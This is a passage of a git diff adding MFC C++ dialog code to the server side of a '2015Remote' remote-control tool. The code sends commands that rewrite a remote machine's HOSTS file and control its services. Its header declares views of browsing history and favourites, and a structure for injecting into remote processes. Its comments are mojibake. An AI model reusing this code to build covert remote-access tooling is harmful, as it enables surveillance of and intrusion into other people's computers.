_T("رļ(&S)")); + CPoint p; + GetCursorPos(&p); + int nMenuResult = ::TrackPopupMenu(menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, p.x, p.y, 0, GetSafeHwnd(), NULL); + if (!nMenuResult) return; + switch (nMenuResult) { + case 50: + reflush(); + break; + case 100: { + if (m_list.GetSelectedCount() < 1) { + return; + } + POSITION pos = m_list.GetFirstSelectedItemPosition(); + CString Data; + CString temp; + while (pos) { + temp = _T(""); + int nItem = m_list.GetNextSelectedItem(pos); + for (int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++) { + temp += m_list.GetItemText(nItem, i); + temp += _T(" "); + } + Data += temp; + Data += _T("\r\n"); + } + SetClipboardText(Data); + MessageBox(_T("Ѹݵа!")); + } + break; + case 200: { + CString Data; + CString temp; + for (int i = 0; i < m_list.GetItemCount(); i++) { + int nItem = m_list.GetNextItem(i - 1, LVNI_ALL); + temp = m_list.GetItemText(nItem, 0); + Data += temp; + Data += _T("\r\n"); + } + CStringA Data_a; + Data_a = Data; + LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()]; + lpBuffer[0] = COMMAND_HOSTS_SET; + memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength()); + m_iocpServer->Send(m_pContext, lpBuffer, Data_a.GetLength() + 1); + SAFE_DELETE_AR(lpBuffer); + } + break; + case 300: { + HANDLE hFile = INVALID_HANDLE_VALUE; + DWORD dwSize = 0, dwRead; + LPBYTE lpBuffer = NULL; + CFileDialog dlg(TRUE, _T("*.txt"), NULL, OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST | OFN_HIDEREADONLY, + _T("ͼƬļ(*.txt;*.txt)|*.txt;*.txt| All Files (*.*) |*.*||"), NULL); + dlg.m_ofn.lpstrTitle = _T("ѡļ"); + + if (dlg.DoModal() != IDOK) + break; + CString FilePathName = dlg.GetPathName(); + SetFileAttributes(FilePathName, FILE_ATTRIBUTE_NORMAL); + hFile = CreateFile(FilePathName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) + return; + dwSize = GetFileSize(hFile, NULL); + lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwSize + 2); + if (!ReadFile(hFile, lpBuffer, dwSize, &dwRead, NULL)) { + LocalFree(lpBuffer); + CloseHandle(hFile); + return; + } + CloseHandle(hFile); + + DeleteList(); + int i = 0; + char* buf; + char* lpString = (char*)lpBuffer; + const char* d = "\n"; + char* p = strtok_s(lpString, d, &buf); + while (p) { + CString item = p; + m_list.InsertItem(i, item); + p = strtok_s(NULL, d, &buf); + i++; + } + } + break; + default: + break; + } + + menu.DestroyMenu(); +} + +CString CMachineDlg::oleTime2Str(double time) +{ + CString str; + if (time == 0) { + str = _T(""); + } else { + time_t t = (time_t)(time * 24 * 3600 - 2209190400); + struct tm tm1; + localtime_s(&tm1, &t); + str.Format(_T("%04d-%02d-%02d %02d:%02d:%02d"), tm1.tm_year + 1900, tm1.tm_mon + 1, + tm1.tm_mday, tm1.tm_hour, tm1.tm_min, tm1.tm_sec); + } + return str; +} diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h new file mode 100644 index 0000000..6fc4457 --- /dev/null +++ b/server/2015Remote/sys/MachineDlg.h @@ -0,0 +1,112 @@ +#include "stdafx.h" + +#pragma once +#include <2015RemoteDlg.h> + +///////////////////////////////////////////////////////////////////////////// +// CMachineDlg dialog + +// TODO: ʵIPȡ. +class IPConverter +{ +public: + CString IPtoAddress(const CString& ip) { return "implement me"; } +}; + + +class CMachineDlg : public DialogBase +{ +public: + CMachineDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + ~CMachineDlg(); + + enum { IDD = IDD_MACHINE }; + CListCtrl m_list; + CTabCtrl m_tab; + + void OnReceiveComplete(); + void OnReceive(); + static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + afx_msg void OnClose(); + virtual BOOL OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult); + + int m_nSortedCol; + bool m_bAscending; + bool m_bIsReceiving; + ClientContext* m_pContext; + ISocketBase* m_iocpServer; + HICON m_hIcon; + BOOL m_bOnClose; + CMy2015RemoteDlg* m_pMainWnd; + CStatusBar m_wndStatusBar; + IPConverter* m_IPConverter; + CLocker m_Locker; + bool IsReceivingData() { + m_Locker.Lock(); + auto r = m_bIsReceiving; + m_Locker.Unlock(); + return r; + } + void SetReceivingStatus(bool b) { + m_Locker.Lock(); + m_bIsReceiving = b; + m_Locker.Unlock(); + } + virtual BOOL OnInitDialog(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnWaitMessage(WPARAM wParam, LPARAM lParam); + void SortColumn(int iCol, bool bAsc); + CString oleTime2Str(double time); + void reflush(); + + DECLARE_MESSAGE_MAP() +public: + void SendToken(BYTE bToken); + void AdjustList(); + void OpenInfoDlg(); + void SetClipboardText(CString& Data); + CString __MakePriority(DWORD dwPriClass); + void DeleteList(); + void ShowProcessList(); // + void ShowWindowsList();// + void ShowNetStateList();// + void ShowSoftWareList();//б + void ShowIEHistoryList();//¼ + void ShowFavoritesUrlList();//ղؼ + void ShowServiceList(); // + void ShowTaskList();//ƻ + void ShowHostsList();//HOSTS + + //Ӧ˵ + void ShowProcessList_menu(); // + void ShowWindowsList_menu();// + void ShowNetStateList_menu();// + void ShowSoftWareList_menu();//б + void ShowIEHistoryList_menu();//¼ + void ShowFavoritesUrlList_menu();//ղؼ + void ShowServiceList_menu();// + void ShowTaskList_menu();//ƻ + void ShowHostsList_menu();//HOSTS +}; + +struct Browsinghistory { + TCHAR strTime[100]; + TCHAR strTitle[1024]; + TCHAR strUrl[1024]; +}; + +struct InjectData { + DWORD ExeIsx86; + DWORD mode; //עģʽ + DWORD dwProcessID; //ID + DWORD datasize; //ݳߴ + TCHAR strpath[1024]; //ԶĿ¼ +}; diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp new file mode 100644 index 0000000..92c3e56 --- /dev/null +++ b/server/2015Remote/sys/ServiceInfoDlg.cpp @@ -0,0 +1,102 @@ +#include "stdafx.h" +#include "2015Remote.h" +#include "ServiceInfoDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +///////////////////////////////////////////////////////////////////////////// +// CServiceInfoDlg dialog + + +CServiceInfoDlg::CServiceInfoDlg(CWnd* pParent /*=NULL*/) + : CDialog(CServiceInfoDlg::IDD, pParent) +{ + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SERVICE)); +} + + +void CServiceInfoDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_COMBO_RUNWAY, m_combox_runway); +} + + +BEGIN_MESSAGE_MAP(CServiceInfoDlg, CDialog) + ON_CBN_SELCHANGE(IDC_COMBO_RUNWAY, OnSelchangeComboRunway) + ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart) + ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop) + ON_BN_CLICKED(IDC_BUTTON_PAUSE, OnButtonPause) + ON_BN_CLICKED(IDC_BUTTON_CONTINUE, OnButtonContinue) +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CServiceInfoDlg message handlers + +BOOL CServiceInfoDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + // TODO: Add extra initialization here + m_combox_runway.InsertString(0, _T("Զ")); // 0 + m_combox_runway.InsertString(1, _T("ֶ")); // 1 + m_combox_runway.InsertString(2, _T("ѽ")); // 2 + + SetDlgItemText(IDC_EDIT_SERNAME, m_ServiceInfo.strSerName); + SetDlgItemText(IDC_EDIT_SERDISPLAYNAME, m_ServiceInfo.strSerDisPlayname); + SetDlgItemText(IDC_EDIT_SERDESCRIPTION, m_ServiceInfo.strSerDescription); + SetDlgItemText(IDC_EDIT_FILEPATH, m_ServiceInfo.strFilePath); + SetDlgItemText(IDC_STATIC_TEXT, m_ServiceInfo.strSerState); + + if (m_ServiceInfo.strSerRunway == _T("Disabled")) + m_combox_runway.SetCurSel(2); + else if (m_ServiceInfo.strSerRunway == _T("Demand Start")) + m_combox_runway.SetCurSel(1); + else + m_combox_runway.SetCurSel(0); + + SetWindowText(m_ServiceInfo.strSerDisPlayname + _T(" Attribute")); + + return TRUE; +} + +void CServiceInfoDlg::OnSelchangeComboRunway() +{ + GetDlgItem(IDC_BUTTON_USE)->EnableWindow(TRUE); +} + +void CServiceInfoDlg::OnButtonStart() +{ + SendToken(COMMAND_STARTSERVERICE); +} + +void CServiceInfoDlg::SendToken(BYTE bToken) +{ + int nPacketLength = (m_ServiceInfo.strSerName.GetLength() + 1);; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength); + lpBuffer[0] = bToken; + + memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), m_ServiceInfo.strSerName.GetLength()); + m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + LocalFree(lpBuffer); +} + +void CServiceInfoDlg::OnButtonStop() +{ + SendToken(COMMAND_STOPSERVERICE); +} + +void CServiceInfoDlg::OnButtonPause() +{ + SendToken(COMMAND_PAUSESERVERICE); +} + +void CServiceInfoDlg::OnButtonContinue() +{ + SendToken(COMMAND_CONTINUESERVERICE); +} diff --git a/server/2015Remote/sys/ServiceInfoDlg.h b/server/2015Remote/sys/ServiceInfoDlg.h new file mode 100644 index 0000000..87843cd --- /dev/null +++ b/server/2015Remote/sys/ServiceInfoDlg.h @@ -0,0 +1,40 @@ +#pragma once +#include "MachineDlg.h" + +///////////////////////////////////////////////////////////////////////////// +// CServiceInfoDlg dialog + +typedef struct { + CString strSerName; + CString strSerDisPlayname; + CString strSerDescription; + CString strFilePath; + CString strSerRunway; + CString strSerState; +} SERVICEINFO; + +class CServiceInfoDlg : public CDialog +{ +public: + CServiceInfoDlg(CWnd* pParent = NULL); + + ClientContext* m_pContext; + ISocketBase* m_iocpServer; + + enum { IDD = IDD_SERVICE_INFO }; + CComboBox m_combox_runway; + + SERVICEINFO m_ServiceInfo; + CMachineDlg* m_MachineDlg; +protected: + virtual void DoDataExchange(CDataExchange* pDX); + HICON m_hIcon; + void SendToken(BYTE bToken); + virtual BOOL OnInitDialog(); + afx_msg void OnSelchangeComboRunway(); + afx_msg void OnButtonStart(); + afx_msg void OnButtonStop(); + afx_msg void OnButtonPause(); + afx_msg void OnButtonContinue(); + DECLARE_MESSAGE_MAP() +};